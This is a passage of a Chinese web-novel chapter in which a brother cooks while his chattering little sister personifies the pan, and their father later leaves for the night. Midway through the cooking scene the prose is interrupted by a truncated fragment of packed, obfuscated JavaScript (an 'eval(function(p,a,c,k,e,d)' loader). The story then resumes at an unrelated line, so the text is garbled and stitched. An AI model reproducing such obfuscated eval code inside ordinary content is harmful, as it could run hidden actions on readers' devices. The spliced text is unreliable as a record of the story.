姜牧野张了张嘴,又闭上了。 他放弃了。 他拿起锅铲,开始炒菜。 油热了,鸡蛋液倒进去,“滋啦”一声响,姜牧云吓得往后缩了一步。 “哥哥,锅在叫!” “油热了就会叫。” “它在叫什么?” “它在说‘我准备好了,可以放菜了’。” “锅也会说话?” “锅不会说话,那是油的声音。” “那油说什么?” “油说‘滋啦’。” “滋啦是什么意思?” “就是……我热了。” “那姜牧云也会说油语!滋啦滋啦滋啦!”她对着锅喊了三声,然后认真地说,“油你热了就不要叫了!吵死了!姜牧云的耳朵会坏掉的!” 锅当然不会听她的话,继续“滋啦滋啦”地叫。 “它不听我的话!”她委屈地说。 “油没有耳朵。” “那它怎么听到姜牧云说话?” “它听不到。” “那姜牧云白说了?” “嗯。” “好浪费……”她叹了口气,“姜牧云的话很珍贵的!每一句都很珍贵!因为每一句都是姜牧云用心想的!” “那你少说两句。” “不要!姜牧云的话虽然珍贵,但是要说出来才有价值!不说出来就浪费了!就像草莓,放在冰箱里不吃会坏掉!话不说出来会烂在肚子里!” “话不会烂在肚子里。” “会的!阿姨说的!‘有话不说会憋出病’!憋出病就是烂了!” 姜牧野把西红柿倒进锅里,“滋啦”的声音更大了,姜牧云不得不提高音量继续说话。 “哥哥!西红柿进锅了!它在变色!从红色变成深红色!它好热!它出汗了!” “那不是汗,那是西红柿的汁。” “西红柿也会出汗!因为太热了!哥哥你给西红柿扇扇风!” “我没手。” “那姜牧云扇!”她拿起一张纸巾,对着锅用力地扇。纸巾太软了,扇出来的风几乎感觉不到。 “哥哥,它还在出汗!” “那是因为在煮,不是热。” “煮和热有什么区别?” “煮是在水里加热,热是在空气里加热。” “那西红柿是在水里还是空气里?” “在油里。” “那它是在油里加热!不是煮也不是热!是炸!” “不是炸,是炒。” “炒和炸有什么区别?” “炒的油少,炸的油多。” “那我们的油多吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你什么时候比锅大?” “现在!姜牧云比锅高!比锅大!” “你是比锅高,但不是比锅大。锅的肚子比你大。” “锅有肚子?锅的肚子在哪里?” 姜牧野指了指锅的弧形底部:“这里。” “那是锅的屁股!不是肚子!锅的屁股好圆!像一个圆圆的脸!” “锅没有脸。” “有的!锅底有两个眼睛!你看!”她指着锅底的两个铆钉,“这是眼睛!这个是鼻子!”又指着锅柄的接口,“这个是嘴巴!锅在笑!它做好了菜好开心!” 姜牧野看了一眼那个被她强行赋予了五官的锅,沉默了一秒。 “嗯,它在笑。” “那哥哥你也笑一下!锅都笑了,你不笑!” “锅是锅,我是我。” “可是锅都比你爱笑!” “锅不需要表情。” “可是它有表情!它在笑!你也有表情!你不笑!所以锅比你开心!” “你怎么知道锅开心?” “因为它在笑!笑就是开心!” “那它如果哭了呢?” “锅不会哭!锅没有眼泪!” “那它怎么表达不开心?” “它不说话!锅不说话!所以它永远开心!” “那我要向锅学习。” “对!你要向锅学习!做一个永远开心的人!” “人不可能永远开心。” “为什么不可能?” “因为人有很多情绪。开心、难过、生气、害怕……都是正常的。” “那锅没有这些情绪,锅是不是不正常?” “锅不是人,不需要正常。” “那姜牧云是人,所以姜牧云可以有这些情绪?” “对。” “那姜牧云现在不开心,可以吗?” “可以。为什么不开心?” “因为爸爸要走了。” 姜牧野转过头,看到姜爸爸不知道什么时候站在了厨房门口。他手里拿着外套,表情有些局促。 “云云,爸爸得走了。天黑了,路远。” 姜牧云从椅子上跳下来,跑到姜爸爸面前,仰头看着他。 “你什么时候再来?” “很快。” “很快是多快?” “下个星期。” “你保证?” “我保证。” “那你来的时候,提前打电话!姜牧云给你做饭!” “好。” “姜牧云现在会做西红柿炒鸡蛋了!虽然还没学会,但是下次来的时候就会了!” “好,爸爸等着。” 姜爸爸蹲下来,抱了抱她。他的怀抱很大,很宽,把姜牧云整个人都裹住了。 “云云,爸爸爱你。” “姜牧云也爱你。但是比爱哥哥少一点点。因为哥哥陪姜牧云的时间多。你以后陪多了,就会一样多。” “好,爸爸努力。” “那你要加油哦。” “好,加油。” 姜爸爸站起来,看向姜牧野。 “牧野,我走了。” “嗯。” “照顾好自己。” “嗯。” “也照顾好云云。” “嗯。” 姜爸爸转身走了。他的背影在走廊里越走越远,肩膀微微驼着,头发在灯光下显得更白了。 姜牧云站在门口,看着他的背影,直到他消失在电梯里。 “哥哥,”她说,“爸爸的头发好白。” “嗯。” “他是不是很辛苦?” “也许。” “那姜牧云以后要对爸爸好一点。” “你对他已经很好了。” “还可以更好。因为他是爸爸。爸爸就是爸爸。” 她转身走回屋里,抱起橘子,把脸埋在橘子的毛里。 “橘子,姜牧云有爸爸。你有爸爸吗?” 橘子“喵”了一声。 “它说‘没有’。”姜牧云翻译,“好可怜。但是没关系,姜牧云的爸爸就是你的爸爸!因为你是姜牧云的猫!姜牧云的东西就是你的东西!所以爸爸也是你的爸爸!” 橘子又“喵”了一声。 “它说‘谢谢’。”姜牧云笑了,笑得有点累,但很暖。 姜牧野站在厨房门口,看着妹妹抱着猫站在玄关,灯光把她的影子投在地板上,小小的,圆圆的,像一颗被光包围的星星。 他忽然想起了一句话。 不是他想的,是姜牧云说的。 “爸爸就是爸爸。不管来不来,都是爸爸。” 他想,也许这就是小朋友的智慧。 不纠结,不记恨,不计算得失。 来了就开心,走了就想念。 爱不会因为距离而变少,也不会因为时间而变淡。 爱就是爱。